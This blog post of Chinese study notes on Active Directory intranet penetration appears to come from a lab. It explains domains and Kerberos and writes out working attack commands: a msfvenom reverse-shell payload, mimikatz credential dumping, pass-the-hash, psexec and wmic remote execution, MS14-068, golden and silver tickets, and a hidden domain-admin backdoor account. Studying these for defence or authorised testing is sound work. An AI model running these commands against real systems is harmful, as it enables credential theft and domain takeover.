内网渗透


内网渗透

基础知识

工作组

工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组

image-20220313141541646

域(domain)

一个有安全边界的计算机集合

安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源

可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

域名服务器DNS

用于实现域名和与之相对应的 IP 地址转换的服务器。

因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。

在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的

DNS服务器和域控制器通常配置在同一台机器上

域术语

DC:域控,域的创建者

域管理:域控上的管理员

AD 活动目录:Active Directory

NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中

Ntdsutil.exe-ntdsutil.exe 是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息

常见结构:组织单元(OU)、域(DOMAIN)、域树(tree)、域森林(forest),在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据

活动目录:

  • 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。

  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。

  • 环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。

  • 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。

  • 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。

  • 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台

域搜集信息命令

query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain 查看域控
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig /all 查看当前环境
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a 查询通信

主机发现

在域内进行横行渗透时,首先要收集主机的端口和 ip 信息

net view /domain 查询域

发生系统错误 6118 出现这种错误时 Computer Browser服务被禁用了,需要在域控开启

net view /domain:域名 查看主机

image-20220313143024234

arp -a 查询通信

image-20220313143300136

nbtscscan查询主机

nbtscan.exe -r 192.168.0.0/24

image-20220313143422438

bat 命令发现主机

for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="

powershell 脚本扫描 IP 地址存活

https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"

PowerShell端口扫描

针对单个 IP 的多个端口的扫描:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.0.135",$_)) "Port $_ is open!"} 2>$null

image-20220313144746336

针对某 IP 段中单个端口的扫描:

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

image-20220313144732755

针对某 IP 段 & 多个端口的扫描器

1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

msf内网主机检测

模块

主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

nmap

一个端口扫描器,可用于主机发现、端口扫描、版本检测、OS 检测等。

使用场景:建立 socks 代理,proxychains+Nmap 扫描内网。

支持多种扫描模式:

  • -sT: TCP 扫描
  • -sS: SYN 扫描
  • -sA: ACK 扫描
  • -sF:FIN 扫描
  • -sU: UDP 扫描
  • -sR: RPC 扫描
  • -sP: ICMP 扫描

快速扫描所有端口:

半开放扫描

nmap -sS -p 1-65535 -v 192.168.0.135

image-20220313150057634

域渗透思路

通过域成员主机定位处域控IP,利用域管理员可登录域中任何成员主机,定位出域管理员登陆过的IP,想办法从域成员主机中dump处域管理员密码,拿下域控,进而渗透整个内网

Token

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。

它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

Windows的AccessToken有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use访问共享文件夹)。

两种 token 只在系统重启后清除,具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

access token 的窃取和利用

AccessToken 的窃取与利用需要administrator管理员权限。也就是说要提权。

窃取 AccessToken 的方法:

  • incognito.exe 程序
  • InvokeTokenManipulat.ps1 脚本
  • MSF 里的 incognito 模块

incognito

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

access token 列举 (需要administrator权限)

incognito.exe list_tokens -u

image-20220313171504639

模拟其他用户

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

image-20220313171958360

exit退出到之前的access token

image-20220313172118849

msf下的incognito

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.80.134 -f exe -o msf.exe

拿到meterpreter

use incognito #加载 incognito

list_tokens -u #列出 AccessToken

impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌

impersonate_token moonsec\\test #假冒 moonsec\test的令牌

impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌

除了可伪造令牌,也可从进程里窃取令牌

首先使用 ps 命令列出进程,查看进程

用户使用 steal_token pid 窃取令牌就有对应的权限。

rev2self 返回之前的token

image-20220313182025509

横向渗透

PTH(pass-the-hash)hash传递

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

  • 在 Windows 系统中,通常会使用 NTLM 身份认证

  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)

  • hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。

    从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash

  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)

此攻击适用于:

  • 域/工作组环境
  • 可以获得 hash,但是条件不允许对 hash 爆破
  • 内网中存在和当前机器相同的密码

打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外

mimikatz

它能从 lsass.exe进程中获取windows的账号及明文密码

需要在同一个ip段下

目标机

privilege::debug

sekurlsa::logonpasswords

或者把hash导出到password
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

本机

得到hash后执行

privilege::debug

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

image-20220314134112525

可看到不需要账号密码即可列出12server1的c盘

psexec

可在远程计算机上执行命令

原理通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务

利用 SMB 服务远程执行

可以通过明文或 hash 传递

条件 445 服务端口开放

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

使用明文密码登录

psexec /accepteula /s \\192.168.0.137 -u Administrator -p 123456 cmd

image-20220314144339911

或者使用hash登录

psexec -hashes aaa:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.137

image-20220314144727662

建立ip$,之后通过psexec直接连接

net use \\192.168.0.137\ipc$ "123456" /user:administrator
psexec /accepteula /s \\192.168.0.137 cmd

image-20220314145818697

尝试登录域控,需要输入密码

psexec moonsec/Administrator@192.168.0.135

image-20220314150257402

msf hash

同ip段下

拿到一个meterperter,在此处执行

如果不能执行可尝试迁移到其他进程下

hashdump

image-20220314154922022

使用psexec登录

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.137
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

image-20220314155200373

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec.git

在kali中安装下

sudo apt install CrackMapExec

对192.168.0.0/24的C段进行批量pass the hash

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4

image-20220314184026925

wmic

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口

( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

wmic /node:192.168.0.137 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"

image-20220319131515674

在靶机上可看到执行成功

image-20220319131538666

这里我们可以建立IPC$,用type来读取结果

net use \\192.168.0.137\ipc$ "123456" /user:administrator
type \\192.168.0.137\c$\ip.txt

image-20220319132339259

使用 wmic 远程开启目标的 RDP(3389)

适于 Windows xp、server 2003

wmic /node:192.168.0.137 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 

适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname

wmic /node:192.168.0.137 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1

或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

image-20220319134812454

可在靶机上看到开启了3389

image-20220319134835123

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections

远程重启

wmic /node:192.168.0.137 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"

image-20220319135043352

wmiexec.py

可用来直接获取 shell

我们这里简单的对PTH做下实验

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.137 "whoami"

wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash,00000000000000000000000000000000 这个部分可以随便填写

image-20220319132829286

用wmiexec.py明文获取shell

python3 wmiexec.py administrator:123456@192.168.0.137

image-20220319132950974

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能

wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

拿到一个交互式shell

cscript //nologo wmiexec.vbs /shell 192.168.0.137 administrator 123456

image-20220319135349857

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.0.137 administrator 123456 "ipconfig"

image-20220319135528570

Invoke-WmiCommand

poweshell脚本

利用Powershell 调用 WMI 来远程执行命令

在 Powershell 中运行以下命令

\# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1

\# 指定目标系统用户名
$User = ".\administrator"

\# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force

\# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

\# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.137

\# 将执行结果输出到屏幕上
$Remote.PayloadOutput

image-20220319140308222

Invoke-WMIMethod

PowerShell 自带的一个模块,它来连接远程计算机执行命令和指定程序

指定目标系统用户名
$User=".\administrator"

指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force

将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.137" -Credential $Cred

之后再靶机任务管理器上,可看到计算机的程序

PTT 票据传递攻击(Pass the Ticket)

kerberos协议

Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。

其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。

角色 作用
Domain Controller 域控制器,简称 DC,一台计算机,实现用户、计算机的统一管理
Key Distribution Center 秘钥分发中心,简称 KDC,默认安装在域控里,包括 AS 和 TGS
Authentication Service 身份验证服务,简称 AS,用于 KDC 对 Client 认证
Ticket Granting Service 票据授予服务,简称 TGS,用于KDC 向 Client 和 Server 分发Session Key(临时秘钥)
Active Directory 活动目录,简称 AD,用于存储用户、用户组、域相关的信息
Client 客户端,指用户
Server 服务端,可能是某台计算机,也可能是某个服务

image-20220319150901790

kerberos认证原理

大致整个认证过程

image-20220319151136017

  1. 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。

  2. 可信的话返回 TGT 给 Client,Client 得到 TGT(Ticket Granting Ticket)。

  3. Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限。

  4. 有的话则给 Client 有访问 Server 的权限 Ticket,也叫 ST(Service Ticket)。

  5. Client 得到 Ticket 后,再去访问 Server,最终client与server建立通信。

    该 Ticket 只针对这一个 Server有效。

详细认证步骤:

  • ASREQ & ASREP
  • TGSREQ & TGSREP
  • AP-REQ & AP-REP
ASREQ & ASREP

该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT

image-20220319152155657

当域内某个客户端用户 Client 试图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。

当 AS接收到client发送的身份信息后,AS 会先向活动目录 AD 请求,询问是否有此Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此Session-key AS 用于确保客户端和 KGS 之间的通信安全。

还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-keyAS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和TGT,因此可以相互转化。

到此,第一步认证结束

TGSREQ & TGSREP

该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据

image-20220319152222349

客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-KeyAS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。

此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ。

TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server,如果都没有问题,认证成功。认证成功后,KGS 会生成一个 Session-key TGS,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。

另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client,即TGS_REP。

至此,client和KDC的通信结束

AP-REQ & AP-REP

该阶段是client和server的认证,通过认证的客户端将与服务器建立连接

image-20220319152837792

客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。

Server 收到 AP_REQ 请求后,用自身的 Server NTLM-Hash 解密了 ST,得到Session-Key TGS,再解密出 Client-info、时间戳等数据。然后与 ST 的 Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP

PAC

PAC 是用来验证 Client 的访问权限,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS

我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC(Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题,而没有解决 “What can I do?” 的问题。

为了解决上面的这个问题,微软引进了 PAC。

即 KDC 向客户端 Client 返回 AS_REP时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的ACL 进行对比,最后决定是否给用户提供相关的服务。

但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功。

Kerberos认证中存在的安全问题

我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击。

黄金票据(Golden ticket)

黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 的 20 分钟内,TGS 不会对该 TGT 的真伪进行效验

在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。如果获取到了Krbtgt 的 NTLM-Hash 值,就可以伪造任意的 TGT 。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。

利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

白银票据(sliver ticket)

白银票据依赖于服务账号的密码散列值,它的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。

票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志

MS14-068

此漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。

密码喷洒攻击(password spraying)

针对同一个用户进行连续密码猜测会导致帐户被锁定,所以对所有用户同时执行特定的密码登录尝试,增加破解的概率并降低帐户被锁定的概率,就是我们用固定的密码去跑用户名

AS-REP Roasting

ASREQ & ASREP 认证的过程是 Kerberos 身份认证的第一步,称为预身份验证,主要是为了防止密码脱机爆破。

如果域用户关闭 “Do not require Kerberos preauthentication”预身份验证这个选项(默认开启)的话,可以使用指定的用户去请求票据,向域控发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的Session-key 等信息返回。就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。

票据传递攻击

介绍俩种域内攻击方法,黄金票据和白银票据

金票

原理

Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。

有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改

特点
  • 不需要与AS进行交互
  • 需要krbtgt的NTLM hash
ms14-068

伪造凭据,提升域内普通用户的权限

登录进一个域内主机

image-20220322140946587

搜集域相关信息

net config workstation
或
nltest /dsgetdc:域名

image-20220322141008894

image-20220322141108933

首先先看此用户是否打了ms14-068的补丁,如果没打不返回信息

需要注意的是域内普通用户提权成功后是有时效性的

systeminfo |find "3011780"

image-20220322141427493

此时我们是没有访问域控的权限

image-20220322141451135

接下来提权我们用到mimikatz和ms14-068

接下来我们用ms14-068伪造凭证

首先查看用户的sid值

whoami /all

image-20220322141512915

利用格式

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi

image-20220322141800541

可看到在当前目录生成了凭证

接下来我们用mimikatz

清空之前缓存的凭证,导入伪造的凭证

mimikatz
kerberos::purge  //清空票据
kerberos::ptc 票据文件地址  //导入凭证

image-20220322142435189

然我们再访问域控,发现有了权限

未导入之前拒绝访问,现在是可以访问了

image-20220322142555810

添加域管理员账号

因为此提权具有时效性,我们需要做权限维持,建立一个影子账号,把它添加到域管理中

net user xiaosha$ Qwe123... /add /domain&&net group "Domain Admins" xiaosha$ /add /domain

也可用psexec反弹shell

PsExec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe

image-20220322144646684

伪造金票

前提条件:

  1. 域名称
  2. 域的 SID 值
  3. krbtgt 账号的 NTLM HASH
  4. 伪造任意用户名

登录域控管理员账户

image-20220322150901460

我们利用mimikatz导出krbtgt账户信息

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">1.txt

image-20220322151303171

利用mimikatz制作黄金票据

登录域普通用户,制作黄金票据

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit

/admin:伪造的用户名

/domain:域名称

/sid:SID 值,注意去掉最后一个-后面的值

/krbtgt:krbtgt 的 HASH 值

/ticket:生成的票据名称

image-20220322151907174

使用mimikatz导入黄金票据到内存

没导入之前我们无法访问域控,拒绝访问

dir \\08server-dc\c$

进入mimikatz,导入黄金票据

kerberos::purge #清除票据
kerberos:: ptt 票据地址 #将票据注入内存

image-20220322152803356

之后即便域管理密码改变,只要krbtgt没有改变,我们就有域控的权限

银票

原理

在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务

所以我们知道server用户的hash就可以伪造ST,不会经过KDC,但是只对部分服务起作用

特点
  1. 不与KDC交互
  2. 需要server的NTLM hash
伪造银票

登录域控管理员

使用mimikatz拿到账户信息

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

image-20220322160145816

image-20220322160335434

mimikatz伪造票据

进入普通域用户

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4: /user:<用户名> /ptt

用户名任意,使用的服务可以从下面选择

image-20220322160632683

这里我们用CIFS服务

kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

查看当前缓存的票证

klist

image-20220322161458234

可以看到已经有了cifs服务的票证了,但是这里访问域控c盘没有成功

kekeo伪造环境银票

使用mimikatz没有成功,我们换一个工具尝试

进入kekeo所在路径

kekeo
kerberos::purge //清除票据
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387

image-20220322162356184

将票据导入内存

kerberos::ptt 票据路径

金票和银票的区别

获取权限不同,金票是伪造的TGT,可以获取任意kerberos的访问权限;银票是伪造的ST,只能访问指定的服务

认证流程不同,金票同TGS交互,不同AS交互;银票,不通过TGS交互,直接访问服务

加密方式不同,金票由krbtgt的 NTLM hash加密;银票由服务账号的 NTLM hash加密


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录